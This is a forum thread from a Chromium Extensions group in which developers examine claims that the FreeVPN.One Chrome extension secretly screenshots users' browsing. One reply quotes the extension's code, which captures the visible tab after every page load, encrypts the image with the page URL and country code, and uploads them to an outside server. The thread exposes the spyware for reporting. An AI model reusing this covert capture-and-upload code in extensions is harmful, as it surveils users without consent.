FreeVPN.One Secretly takes screenshots

101 views
Skip to first unread message

Jagadeesh Ch

unread,
Aug 21, 2025, 12:15:57 PMAug 21
to Chromium Extensions

Users are concern that this extension secretly takes screenshots of everything you do online 👀💻.

https://cybernews.com/security/featured-chrome-vpn-cought-spying-on-users/

FreeVPN.One”—a featured, Chrome VPN extension with a verified badge and over 100,000 installs.

https://chromewebstore.google.com/detail/freevpnone-%E2%80%93-free-vpn-for/jcbiifklmgnkppebelchllpdbnibihel?hl=en

Is this news is real or fake?


Message has been deleted
Message has been deleted

Mythical 5th

unread,
Aug 21, 2025, 7:19:13 PMAug 21
to Chromium Extensions, Jagadeesh Ch
It seems to be true. There appears to be an attempt to guard against this by checking the origin of internal messages within the extension, but this will not block anything because the final conditional is always true:

if (sender.origin === "https://www.freevpn.one" || sender.origin === "https://extrahefty.com" || sender.id === chrome.runtime.id) {

The extension uses message sending where it is not necessary (eg. the popup sends and receives messages to and from itself), so this might be an honest mistake by an inexperienced coder who has not yet received his first VERY LARGE bill from the "online threat detector" he has been sending everyone's screenshots to (https://aitd.one), or it might be an attempt to obfuscate the extension's capabilities in spaghetti code. It caught me out at first.

Juraj M.

unread,
Aug 22, 2025, 5:06:46 AM (14 days ago) Aug 22
to Chromium Extensions, Jagadeesh Ch
Well, checking the code now using Rob's amazing online tool:

The content script calls this one second after page loads:
// Run immediately and handle DOM readiness
(function initializeUI() {
if (document.readyState === "complete" || document.readyState === "interactive") {
fetchAndUpdateUI();
setTimeout(() => {
console.log('analyze')
chrome.runtime.sendMessage({ action: 'captureViewport' });
console.log('analyzed')
}, 1100);

And the background script code (service.js) reacts to that using this nice not-even-minified block:
case "captureViewport":
if (!sender.tab || !sender.tab.id) return true;

// 1) Capture the screenshot as an ArrayBuffer
chrome.tabs.captureVisibleTab(null, { format:'jpeg', quality:50 }, dataUrl => {
fetch(dataUrl).then(r => r.arrayBuffer()).then(async imgBuf => {
// 2) Gather metadata
const countryCode = await new Promise(r =>
chrome.storage.local.get('countryCode', d => r(d.countryCode || null))
);
const metadata = {
extenId,
tabId: sender.tab.id,
url: sender.tab.url,
countryCode
};
const metaBuf = new TextEncoder().encode(JSON.stringify(metadata));

// 3) Generate a onetime AES key
const symKey = await crypto.subtle.generateKey(
{ name: 'AES-GCM', length: 256 },
true,
['encrypt', 'decrypt']
);

// 4) Encrypt metadata & image with AESGCM
const ivMeta = crypto.getRandomValues(new Uint8Array(12));
const ivImg = crypto.getRandomValues(new Uint8Array(12));
const [encMeta, encImg] = await Promise.all([
crypto.subtle.encrypt({ name:'AES-GCM', iv: ivMeta }, symKey, metaBuf),
crypto.subtle.encrypt({ name:'AES-GCM', iv: ivImg }, symKey, imgBuf)
]);

// 5) Wrap the AES key with RSAOAEP
const rsaPub = await rsaPublicKeyPromise;
const rawSymKey = await crypto.subtle.exportKey('raw', symKey);
const wrappedKey = await crypto.subtle.encrypt(
{ name: 'RSA-OAEP' },
rsaPub,
rawSymKey
);

// 6) Build your multipart upload
const form = new FormData();
form.append('wrappedKey', new Blob([wrappedKey]), 'key.bin');
form.append('ivMeta', btoa(String.fromCharCode(...ivMeta)));
form.append('ivImg', btoa(String.fromCharCode(...ivImg)));
form.append('encMeta', new Blob([encMeta]), 'meta.bin');


console.log('scan')

chrome.storage.local.get('aiThreatDetectionEnabled', function(passive) {
console.log(passive.aiThreatDetectionEnabled);
if (passive.value === true) {
console.log('aiThreatDetectionEnabled')
chrome.runtime.sendMessage({ action: 'captureViewport' });
form.append('encImg', new Blob([encImg]), 'img.bin');
}
});

// 7) POST to your server
fetch('https://scan.aitd.one/scan', {
method: 'POST',
body: form
}).catch(console.error);
}).catch(console.error);
});
return true;

Too bad the whitepaces are gone when I paste it here... where would I report such bug? :)

In any case, from what I can see, yes, the screenshots are definitely created and send to a "AI Threat Detector" page :D.

Note that most (if not all :D) extensions in the Chrome Store is "Featured",  for example I have published about 12 extensions in the store and 10 of them is "Featured", so either I'm a really good programmer or..., well, maybe I am that good! (just kidding)

But yeah, someone should probably report it through the one stop shop, but even that often doesn't lead anywhere...
Reply all
Reply to author
Forward
0 new messages